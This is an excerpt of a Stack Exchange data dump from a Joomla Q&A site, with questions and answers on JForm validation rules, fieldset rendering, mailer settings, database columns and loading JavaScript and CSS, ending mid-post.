  <row Id="19283" PostTypeId="1" AcceptedAnswerId="19312" CreationDate="2017-03-06T06:47:36.383" Score="2" ViewCount="178" Body="&lt;p&gt;To whom it may concern:&#xA;I uploaded a new extension in JED using submit extension button.&#xA;the message I got after saving is : Your list XML update URL failed, please check the XML file's structure&#xA;the tags to server in manifest file of component is checked and server type is extension.&#xA;The file in my server contains only updates and update tags,&#xA;Because I still have no update to add. Path to this file is checked too.&#xA;what could be wrong?&#xA;Kian William &lt;/p&gt;&#xA;" OwnerUserId="9591" LastActivityDate="2017-03-11T07:00:18.773" Title="Your list XML update URL failed, please check the XML file's structure" Tags="|joomla-3.x|custom-component|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19284" PostTypeId="2" ParentId="19282" CreationDate="2017-03-06T07:14:29.940" Score="0" Body="&lt;p&gt;I checked &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/f75801b7fb1d3ca347034399af7a9e250686b0a1/libraries/joomla/form/form.php#L1146&quot; rel=&quot;nofollow noreferrer&quot;&gt;the code of the JForm&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to it &lt;code&gt;class=&quot;required validate-username&quot;&lt;/code&gt; does not work, and I should use &lt;code&gt;required=&quot;true&quot;&lt;/code&gt; instead by the fields required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything else is validated by rules. I need to add &lt;code&gt;validate=&quot;ruleType&quot;&lt;/code&gt; to the XML file. The &lt;code&gt;minLength&lt;/code&gt;, &lt;code&gt;maxLength&lt;/code&gt; etc. apparently works only by client side, and the server side validation does not follow the HTML5 specs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I need to define the same rule types on a client side lib too if I want to validate on client side. I checked with HTML5, it worked, but I got no error messages. I thought it is broken, but I guess it does not connect to the HTML5 validation properly. Does not really matter, I don't want to work twice, so I won't have client side validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can read the error messages with &lt;code&gt;$form-&amp;gt;getErrors()&lt;/code&gt;. I thought they are added to the fields, so auto rendering them would show the error messages, but apparently I need to enqueue these messages on the joomla app. It is okay, but could have been better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;note:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the related part in the &lt;a href=&quot;https://docs.joomla.org/Form_field&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt;, probably I read too superficial. I did not sleep. :S&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up with the following code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;.../templates/customer_registration.xml&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form name=&quot;customer_registration_form&quot; title=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_TITLE&quot; description=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_DESCRIPTION&quot; buttonLabel=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_BUTTON_LABEL&quot;&amp;gt;&#xA;    &amp;lt;fields name=&quot;customer_registration&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;customer_registration&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;name&quot; type=&quot;text&quot; required=&quot;true&quot; size=&quot;80&quot;&#xA;                validate=&quot;text&quot; minLength=&quot;4&quot; maxLength=&quot;80&quot; pattern=&quot;\p{L}+(?:\p{Zs}\p{L}+)+&quot; &#xA;                label=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_NAME_LABEL&quot; description=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_NAME_DESCRIPTION&quot; message=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_NAME_MESSAGE&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;age&quot; type=&quot;integer&quot; required=&quot;true&quot; default=&quot;6&quot; first=&quot;1&quot; last=&quot;150&quot; step=&quot;1&quot;&#xA;                validate=&quot;integer&quot; min=&quot;1&quot; max=&quot;150&quot;&#xA;                label=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_AGE_LABEL&quot; description=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_AGE_DESCRIPTION&quot; message=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_AGE_MESSAGE&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;permanent_orderer&quot; type=&quot;checkbox&quot; default=&quot;1&quot;&#xA;                label=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_PERMANENT_ORDERER_LABEL&quot; description=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_PERMANENT_ORDERER_DESCRIPTION&quot; message=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_PERMANENT_ORDERER_MESSAGE&quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;.../templates/rules/text.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;use \SimpleXMLElement;&#xA;use \JForm;&#xA;use \JRegistry;&#xA;use \JFormRule;&#xA;&#xA;class JFormRuleText extends JFormRule {&#xA;&#xA;    public function test(SimpleXMLElement $element, $value, $group = null, JRegistry $input = null, JForm $form = null)&#xA;    {&#xA;        if (!isset($value))&#xA;            $value = '';&#xA;        if (!is_string($value))&#xA;            return false;&#xA;&#xA;        $length = mb_strlen($value, mb_detect_encoding($value));&#xA;&#xA;        if (isset($element['minLength'])) {&#xA;            $minLength = (int) $element['minLength'];&#xA;            if ($minLength &amp;gt; $length)&#xA;                return false;&#xA;        }&#xA;&#xA;        if (isset($element['maxLength'])) {&#xA;            $maxLength = (int) $element['maxLength'];&#xA;            if ($maxLength &amp;lt; $length)&#xA;                return false;&#xA;        }&#xA;&#xA;        if (isset($element['pattern'])) {&#xA;            $pattern = '/'.$element['pattern'].'/usD';&#xA;            if (!preg_match($pattern, $value))&#xA;                return false;&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;.../templates/rules/integer.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;use \SimpleXMLElement;&#xA;use \JForm;&#xA;use \JRegistry;&#xA;use \JFormRule;&#xA;&#xA;class JFormRuleInteger extends JFormRule {&#xA;&#xA;    public function test(SimpleXMLElement $element, $value, $group = null, JRegistry $input = null, JForm $form = null)&#xA;    {&#xA;        $intValue = (int) $value;&#xA;        if ((string) $intValue !== $value || (float) $intValue !== (float) $value)&#xA;            return false;&#xA;&#xA;        if (isset($element['min'])) {&#xA;            $min = (int) $element['min'];&#xA;            if ($min &amp;gt; $intValue)&#xA;                return false;&#xA;        }&#xA;        if (isset($element['max'])) {&#xA;            $max = (int) $element['max'];&#xA;            if ($max &amp;lt; $intValue)&#xA;                return false;&#xA;        }&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;.../MainController.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;* @action &#xA;* @allow(&quot;public&quot;)&#xA;*/&#xA;public function formTest(iRequest $request, iResponse $response){&#xA;    $form = $response-&amp;gt;getForm('customer_registration.xml', $request-&amp;gt;getAddress(), $request-&amp;gt;getQuery());&#xA;    if ($request-&amp;gt;isPost()){&#xA;        $form-&amp;gt;fill($request-&amp;gt;getPostData());&#xA;        $isValid = true;&#xA;        if (!$request-&amp;gt;hasValidToken()) {&#xA;            $response-&amp;gt;reportError(new Exception('Invalid token.'));&#xA;            $isValid = false;&#xA;        }&#xA;        if (!$form-&amp;gt;validate()) {&#xA;            foreach ($form-&amp;gt;getErrors() as $error)&#xA;                $response-&amp;gt;reportError($error);&#xA;            $isValid = false;&#xA;        }&#xA;        if ($isValid) {&#xA;            $response-&amp;gt;reportSuccess('Customer created.');&#xA;            $form-&amp;gt;reset();&#xA;        }&#xA;    }&#xA;&#xA;    $content = new HtmlFragment();&#xA;    $content-&amp;gt;addForm($form, $response-&amp;gt;getTemplate('basic_form_layout.php'));&#xA;    $response-&amp;gt;setContent($content);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ofc. this is still just a dummy proof of concept code to demonstrate that the validation works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to override the default error messages too if somebody wants to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// required: JText::sprintf('JLIB_FORM_VALIDATE_FIELD_REQUIRED', $name|label);&#xA;// rule: $message | JText::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', $label)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And by returning an &lt;code&gt;Exception&lt;/code&gt; instance instead of &lt;code&gt;false&lt;/code&gt; it is possible to send different error messages from the same rule. So it is not mandatory to use the message given in the XML. For me it was enough.&lt;/p&gt;&#xA;" OwnerUserId="9637" LastEditorUserId="9637" LastEditDate="2017-03-06T08:46:42.937" LastActivityDate="2017-03-06T08:46:42.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19285" PostTypeId="1" AcceptedAnswerId="19350" CreationDate="2017-03-06T08:32:03.000" Score="2" ViewCount="804" Body="&lt;p&gt;I'd like to render the same fieldset multiple times for batch create and batch update. Is it possible to do this with JForms?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have a form like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form name=&quot;customer_registration_form&quot; title=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_TITLE&quot; description=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_DESCRIPTION&quot; buttonLabel=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_BUTTON_LABEL&quot; class=&quot;customer-registration&quot;&amp;gt;&#xA;    &amp;lt;fields name=&quot;customer_registration&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;customer_registration&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;name&quot; type=&quot;text&quot; required=&quot;true&quot; size=&quot;80&quot;&#xA;                validate=&quot;text&quot; minLength=&quot;4&quot; maxLength=&quot;80&quot; pattern=&quot;^\p{L}+(?:[\p{Zs}-]\p{L}+)+$&quot; &#xA;                label=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_NAME_LABEL&quot; description=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_NAME_DESCRIPTION&quot; message=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_NAME_MESSAGE&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;age&quot; type=&quot;integer&quot; required=&quot;true&quot; default=&quot;6&quot; first=&quot;1&quot; last=&quot;150&quot; step=&quot;1&quot;&#xA;                validate=&quot;integer&quot; min=&quot;1&quot; max=&quot;150&quot;&#xA;                label=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_AGE_LABEL&quot; description=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_AGE_DESCRIPTION&quot; message=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_AGE_MESSAGE&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;permanent_orderer&quot; type=&quot;checkbox&quot; default=&quot;1&quot;&#xA;                label=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_PERMANENT_ORDERER_LABEL&quot; description=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_PERMANENT_ORDERER_DESCRIPTION&quot; message=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_PERMANENT_ORDERER_MESSAGE&quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which I render with this layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;extract($displayData);&#xA;JHtml::_('behavior.tooltip');&#xA;?&amp;gt;&#xA;&amp;lt;form action=&quot;&amp;lt;?php echo $action; ?&amp;gt;&quot;&#xA;      method=&quot;post&quot; name=&quot;&amp;lt;?php echo $form-&amp;gt;getAttribute('name'); ?&amp;gt;&quot; class=&quot;&amp;lt;?php echo $form-&amp;gt;getAttribute('class'); ?&amp;gt; basic-form-layout&quot;&amp;gt;&#xA;    &amp;lt;legend&amp;gt;&amp;lt;?php echo JText::_($form-&amp;gt;getAttribute('title')); ?&amp;gt;&amp;lt;/legend&amp;gt;&#xA;    &amp;lt;?php&#xA;        echo JText::_($form-&amp;gt;getAttribute('description'));&#xA;        foreach (array_keys($form-&amp;gt;getFieldsets()) as $fieldset)&#xA;            echo $form-&amp;gt;renderFieldset($fieldset);&#xA;    ?&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;control-label&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;button type=&quot;submit&quot;&amp;gt;&amp;lt;?php echo JText::_($form-&amp;gt;getAttribute('buttonLabel')); ?&amp;gt;&amp;lt;/button&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By sending the form I got a &lt;code&gt;customer_registration[field]&lt;/code&gt; array. I'd like to get a &lt;code&gt;customer_registration[i][field]&lt;/code&gt; or &lt;code&gt;customer_registration[field][i]&lt;/code&gt; array instead. Is this supported somehow, or should I write a workaround?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rendering part is okay, I guess I have to call &lt;code&gt;renderFieldset&lt;/code&gt; multiple times, but how can I override the &lt;code&gt;customer_registration&lt;/code&gt; to get &lt;code&gt;customer_registration[i]&lt;/code&gt;? The only solution I could come up is rendering the fieldset, finding the field names in the resulted html, and overriding them with regex, or with simplexml. Any other idea? Or is this already implemented somehow and I was superficial by checking the feature?&lt;/p&gt;&#xA;" OwnerUserId="9637" LastEditorUserId="9637" LastEditDate="2017-03-07T17:37:10.140" LastActivityDate="2017-03-14T12:11:48.187" Title="Is it possible to render the same fieldset multiple times?" Tags="|joomla-3.x|jform|form|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19286" PostTypeId="1" CreationDate="2017-03-06T17:16:39.830" Score="2" ViewCount="53" Body="&lt;p&gt;Does anyone know how to &quot;override&quot; these mail settings in Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to set host, port etc at PHP level:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer-&amp;gt;setHost = &quot;localhost&quot;;&#xA;$mailer-&amp;gt;setPort = 25;&#xA;$mailer-&amp;gt;setSMTPAuth = true;&#xA;$mailer-&amp;gt;setSMTPSecure = &quot;&quot;;&#xA;$send = $mailer-&amp;gt;Send();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use the settings as a &quot;backup&quot; mailserver in case the main mailserver is down but when I print out the mailer object the settings for host, port etc are NOT changed by the code above. So my code above does not have any effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2018-07-01T02:38:37.470" Title="Override Joomla mailer settings in case of using secondary mailserver as backup" Tags="|emails|joomla-mail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19287" PostTypeId="2" ParentId="15289" CreationDate="2017-03-06T18:26:58.693" Score="4" Body="&lt;p&gt;I build my own templates. My experience is that using a 'bought or free' template gives me lot of headaces, and take at least as much time to develop my own. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you build your own you have more control and makes my client sites faster and are more SEO optimised.&lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2017-03-06T18:26:58.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19288" PostTypeId="1" CreationDate="2017-03-07T04:25:23.727" Score="1" ViewCount="91" Body="&lt;p&gt;I am creating a standalone application and a central server, both use common database schema. Central server is attached and managed with joomla3.x UX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since any user can register through offline standalone application and whenever their is net connectivity goes up,data will be synchronized. So to remove data redundancy I am creating unique user_id as varchar. But joomla #_user table takes it as id int auto-increment. &lt;/p&gt;&#xA;" OwnerUserId="9792" LastActivityDate="2017-03-07T13:21:52.293" Title="How to update field defination of id from int to varchar in #_users table structure" Tags="|joomla-3.x|user|id|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19290" PostTypeId="2" ParentId="19281" CreationDate="2017-03-07T11:55:16.260" Score="1" Body="&lt;p&gt;Found the solution:&#xA;I checked the file /administrator/components/com_k2/views/item/view.html.php. One of the solutions was to change this part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FilterOutput::objectHTMLSafe($item, ENT_QUOTES, array(&#xA;            'video',&#xA;            'params',&#xA;            'plugins'&#xA;        ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the code was not exactly the same, it starts with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFilterOutput...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the solution was to change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFilterOutput::objectHTMLSafe($item, ENT_QUOTES, array(&#xA;            'video',&#xA;            'params',&#xA;            'plugins',&#xA;                        'metadata'&#xA;        ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Jan&lt;/p&gt;&#xA;" OwnerUserId="9219" LastActivityDate="2017-03-07T11:55:16.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19291" PostTypeId="2" ParentId="19288" CreationDate="2017-03-07T13:21:52.293" Score="2" Body="&lt;p&gt;This is actually a pure MySQL question which should be titled &quot;How to Alter a MySQL column&quot;. There is nothing different or special if the database is used for a Joomla site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So simply to have this part of the question answered, a SQL statement like below would do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `YOUR_DATABASE`.`#__users` &#xA;CHANGE COLUMN `id` `id` VARCHAR(50) NOT NULL ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On another note, of course there is nothing in Joomla that provides the option to alter its database schemas. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this is not recommended. Altering the db schemas of another application that you don't control and you depend on its updates etc doesn't make real sense. Future updates may override these changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I haven't review the user creation code, but it's very likely the ids to depend solely on the MySQL auto-increment function. If you disable this, you may open the door to issues and malfunction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be honest from your question I haven't understand what you are trying to do and the reasons why you want to change the &lt;code&gt;#__users.id&lt;/code&gt; column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But since the other application is currently being built by you, why won't you adjust your application's id field? &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-03-07T13:21:52.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19293" PostTypeId="1" CreationDate="2017-03-07T15:01:26.840" Score="1" ViewCount="421" Body="&lt;p&gt;I need to add a third party js and CSS to my template head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting Leverage browser caching and someone advised me to load the files locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;created a directory in root: assets/third-party/&#xA;and setup a cron job that get the files from their site and store them in that directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to add them to the head in Joomla 3.x? I've tried these ones&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php echo JURI::base(); ?&amp;gt;assets/third-party/float.js&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php JHtml::script(Juri::base() . 'assets/third-party/float.js');?&amp;gt;&#xA;&#xA;&amp;lt;link href=&quot;&amp;lt;?php echo JURI::base(); ?&amp;gt;assets/third-party/float.css&quot; rel=&quot;stylesheet&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="9793" LastActivityDate="2017-05-07T10:51:04.810" Title="best way to add third party js and css" Tags="|joomla-3.x|javascript|jquery|css|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19295" PostTypeId="2" ParentId="19293" CreationDate="2017-03-07T17:04:20.910" Score="0" Body="&lt;p&gt;Go with &lt;code&gt;JHtml::script&lt;/code&gt; and &lt;code&gt;JHtml::stylesheet&lt;/code&gt; - it is by the cleanest way of including CSS and JS in Joomla.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-03-07T17:04:20.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19296" PostTypeId="2" ParentId="19286" CreationDate="2017-03-07T17:09:30.933" Score="1" Body="&lt;p&gt;The properties that you're using do not exist (I don't know where you're getting them from). You will need to use the function &lt;code&gt;useSmtp&lt;/code&gt; in the &lt;code&gt;JMail&lt;/code&gt; class in order to set the host, the port, etc... See: &lt;code&gt;libraries\joomla\mail\mail.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-03-07T17:09:30.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19297" PostTypeId="2" ParentId="19293" CreationDate="2017-03-07T17:38:49.777" Score="2" Body="&lt;p&gt;Personally, I'd much rather deliver CSS and JS files via a CDN than using something like JCH optimise to combine them all into 1 file. With &lt;code&gt;HTTP/2&lt;/code&gt;, files are delivered much quicker, so a couple more http requests won't make any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a CDN version, then simply use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('script', '//cdnjs.cloudflare.com/ajax/libs/FOO/BAR/file.js');&#xA;&#xA;JHtml::_('stylesheet', '//cdnjs.cloudflare.com/ajax/libs/FOO/BAR/file.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;else:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('script', JUri::base() . 'assets/third-party/float.js');&#xA;&#xA;JHtml::_('stylesheet', JUri::base() . 'assets/third-party/float.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2017-03-08T09:04:28.557" LastActivityDate="2017-03-08T09:04:28.557" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19298" PostTypeId="1" CreationDate="2017-03-08T08:40:12.657" Score="0" ViewCount="1277" Body="&lt;p&gt;I am facing an issue where Joomla article pages are not showing &#xA;  Tag. While it shows other meta tags as below :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the URL of testing version site :&#xA;&lt;a href=&quot;http://dev.innvonix.in/enlight/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dev.innvonix.in/enlight/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How i can add Meta title for those pages for Article pages. I have created Menu of single article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any one help me on this.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/wsBhJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wsBhJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9327" LastActivityDate="2017-07-09T22:25:55.183" Title="Meta Title is not showing in Joomla website for Article pages" Tags="|joomla-3.x|articles|seo|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19300" PostTypeId="1" CreationDate="2017-03-08T11:47:00.977" Score="1" ViewCount="711" Body="&lt;p&gt;I need to change the items of a radio group based on a drop-down selection in RSForm pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm using the Conditional Fields feature to show different radio group field and that caused too many confusion and was wondering if I could do that trough JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found the Dynamic Drop-down change here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/frequently-asked-questions/dynamic-drop-down-change-form-example-.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rsjoomla.com/support/documentation/rsform-pro/frequently-asked-questions/dynamic-drop-down-change-form-example-.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can I change that to show the items for the second drop down in radio group instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drop-down name: appliances&lt;/p&gt;&#xA;&#xA;&lt;p&gt;items: Cooker Oven ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radio group name: type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;form-group rsform-block rsform-block-appliance{appliance:errorClass}&quot;&amp;gt;&#xA;&amp;lt;label class=&quot;col-sm-3 control-label formControlLabel&quot; data-toggle=&quot;tooltip&quot; &#xA;title=&quot;&quot; for=&quot;appliance&quot;&amp;gt;{appliance:caption}&#xA;&amp;lt;span class=&quot;star&quot;&amp;gt;&amp;amp;nbsp;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;&amp;lt;div class=&quot;col-sm-9 formControls&quot;&amp;gt;&#xA;  {appliance:body}&#xA;  &amp;lt;span class=&quot;formValidation&quot;&amp;gt;{appliance:validation}&amp;lt;/span&amp;gt;&#xA;  &amp;lt;span class=&quot;help-block&quot;&amp;gt;{appliance:description}&amp;lt;/span&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;form-group rsform-block rsform-block-type{type:errorClass}&quot;&amp;gt;&#xA; &amp;lt;label class=&quot;col-sm-3 control-label formControlLabel&quot; &#xA;data-toggle=&quot;tooltip&quot; title=&quot;&quot; for=&quot;type&quot;&amp;gt;{type:caption}&#xA;&amp;lt;span class=&quot;star&quot;&amp;gt;&amp;amp;nbsp;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;&amp;lt;div class=&quot;col-sm-9 formControls&quot;&amp;gt;&#xA;  {type:body}&#xA;  &amp;lt;span class=&quot;formValidation&quot;&amp;gt;{type:validation}&amp;lt;/span&amp;gt;&#xA;  &amp;lt;span class=&quot;help-block&quot;&amp;gt;{type:description}&amp;lt;/span&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for cooker, the radio group items are: Gas, Electric, Dual Fuel, Range for oven the radio group items are: Single Ovens, Double Ovens&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="9793" LastEditorUserId="9793" LastEditDate="2017-03-08T12:48:19.020" LastActivityDate="2017-03-08T12:48:19.020" Title="RSForms - Change the items of a radio group based on a selection of a drop down" Tags="|joomla-3.x|php|javascript|rsform|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19301" PostTypeId="1" CreationDate="2017-03-08T12:47:43.400" Score="1" ViewCount="235" Body="&lt;p&gt;I have a form built with RSForm pro on my website home page and when user submit that, it redirects them to a second form (booking form) and auto populate the fields selected on first form. Im wondering how I could scroll up the screen if user accessed the second form trough home page form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this JS in RsForm documentations but it's for multipage form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;function rsfp_showPage(thePage) {&#xA;  RSFormProUtils.removeClass(thePage, 'formHidden');&#xA;  window.scrollTo(0, findPos(document.getElementById('userForm')));&#xA;}&#xA;function findPos(obj) {&#xA;  var curtop = 0;&#xA;   if (obj.offsetParent) {&#xA;    do {&#xA;        curtop += obj.offsetTop;&#xA;       } while (obj = 